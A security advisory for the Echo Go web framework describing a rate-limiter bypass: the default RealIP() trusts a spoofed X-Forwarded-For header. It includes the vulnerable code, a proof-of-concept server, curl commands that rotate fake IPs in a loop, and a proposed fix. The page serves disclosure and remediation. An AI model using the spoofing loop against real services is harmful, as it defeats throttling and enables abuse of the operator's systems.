github.com/labstack/echo/v5
Affected
- introduced
0, fixed5.1.0(semver)
Fixed versions
5.1.0
Fix
- Fixed version
5.1.0go get github.com/labstack/echo/[email protected]
Advisory
Also known as: CVE-2026-118653, GO-2026-6872
Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration
Summary
When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.RealIP(), so an attacker can rotate arbitrary values in the X-Forwarded-For header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely.
Affected Component
context.go — (*Context).RealIP() (lines 186–208), legacy fallback branch (lines 190–200)middleware/rate_limiter.go — DefaultRateLimiterConfig.IdentifierExtractor (lines 46–58); RateLimiter() (lines 71–76)echo.go — New() (lines 326–343), IPExtractor left nil by defaultDescription
RealIP() unconditionally trusts X-Forwarded-For when IPExtractor is unset
Context.RealIP() (context.go:186-208) first checks c.echo.IPExtractor. When this field is nil (the default for echo.New()), it falls through to legacy behavior and returns the first IP from the X-Forwarded-For header — the position an attacker has full control over:
// context.go:186-200
func (c *Context) RealIP() string {
if c.echo != nil && c.echo.IPExtractor != nil {
return c.echo.IPExtractor(c.request)
}
// Fall back to legacy behavior
if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" {
i := strings.IndexAny(ip, ",")
if i > 0 {
xffip := strings.TrimSpace(ip[:i])
xffip = strings.TrimPrefix(xffip, "[")
xffip = strings.TrimSuffix(xffip, "]")
return xffip // ← attacker-controlled first IP
}
return ip
}
if ip := c.request.Header.Get(HeaderXRealIP); ip != "" {
...
return ip // ← also attacker-controlled
}
ra, _, _ := net.SplitHostPort(c.request.RemoteAddr)
return ra
}
Rate limiter default identifier extractor calls RealIP() unconditionally
DefaultRateLimiterConfig (rate_limiter.go:46-58) sets the identifier extractor to ctx.RealIP() with no guard for whether a safe IPExtractor is configured:
// rate_limiter.go:46-58
var DefaultRateLimiterConfig = RateLimiterConfig{
Skipper: DefaultSkipper,
IdentifierExtractor: func(ctx *echo.Context) (string, error) {
id := ctx.RealIP() // ← reads attacker-controlled header
return id, nil
},
...
}
RateLimiter(store) (rate_limiter.go:71-76) copies DefaultRateLimiterConfig directly:
// rate_limiter.go:71-76
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {
config := DefaultRateLimiterConfig
config.Store = store
return RateLimiterWithConfig(config)
}
The result is that the most common usage pattern — e.GET("/path", h, middleware.RateLimiter(store)) — produces a rate limiter whose per-client identifier is fully controlled by the requester.
Framework acknowledges the issue for IP extraction but the rate limiter carries no warning
ip.go:27 explicitly states the default is insecure:
> "Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."
And ip.go:117-119:
> "In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility."
The IPExtractor mechanism (ExtractIPDirect(), ExtractIPFromXFFHeader(), ExtractIPFromRealIPHeader()) in ip.go exists precisely to close this gap. However, the RateLimiter() function and DefaultRateLimiterConfig have no corresponding warning and make no attempt to detect or flag that IPExtractor is unset, leaving operators who follow the standard rate limiter example silently exposed.
The test TestRateLimiterWithConfig_defaultConfig (rate_limiter_test.go:181-226) itself drives the rate limiter by setting X-Real-IP directly on the test request — demonstrating that the identifier is freely injectable without comment or mitigation.
Full execution chain
echo.New() (no IPExtractor set) and e.GET("/limited", h, middleware.RateLimiter(store))GET /limited with header X-Forwarded-For: 1.2.3.4 — rate bucket for 1.2.3.4 consumedGET /limited again with X-Forwarded-For: 1.2.3.4 — second token consumed; if burst is 1, next request would be 429GET /limited with X-Forwarded-For: 5.6.7.8 — new bucket created for 5.6.7.8, 200 OK returnedProof of Concept
package main
import (
"net/http"
echo "github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
// NOTE: IPExtractor deliberately NOT set — this is the default
store := middleware.NewRateLimiterMemoryStore(1)
e.GET("/limited", func(c *echo.Context) error {
return c.String(http.StatusOK, "ok")
}, middleware.RateLimiter(store))
e.Logger.Fatal(e.Start(":1324"))
}
# First request with IP 1.1.1.1 — consumes burst token
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK
# Second request with same IP — rate limited
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 429 Too Many Requests
# Third request with DIFFERENT spoofed IP — bypass: new bucket, 200 OK
curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK
# Repeat indefinitely with rotating IPs — rate limit never triggers
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited
done
# 200 200 200 ... (all 200, never 429)
Impact
middleware.RateLimiter() using the default configuration by rotating the X-Forwarded-For headerctx.RealIP() with default configuration (access logging, geo-blocking, audit trails) is equally underminedRecommended Remediation
Option 1: Require explicit IPExtractor configuration in RateLimiter() (preferred)
The RateLimiter() convenience function should detect when IPExtractor is not configured and either panic with a clear message or fall back to ExtractIPDirect() (direct-connection IP only):
// rate_limiter.go — illustrative change
var DefaultRateLimiterConfig = RateLimiterConfig{
Skipper: DefaultSkipper,
IdentifierExtractor: func(ctx *echo.Context) (string, error) {
if ctx.Echo().IPExtractor == nil {
// Fall back to direct TCP peer address — safe for non-proxied deployments
host, _, err := net.SplitHostPort(ctx.Request().RemoteAddr)
if err != nil {
return ctx.Request().RemoteAddr, nil
}
return host, nil
}
return ctx.RealIP(), nil
},
...
}Medium Basis: The source's own band: MODERATE
0, fixed 5.1.0 (semver)5.1.0
5.1.0go get github.com/labstack/echo/[email protected]4.0.0, last affected 4.16.2 (semver)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0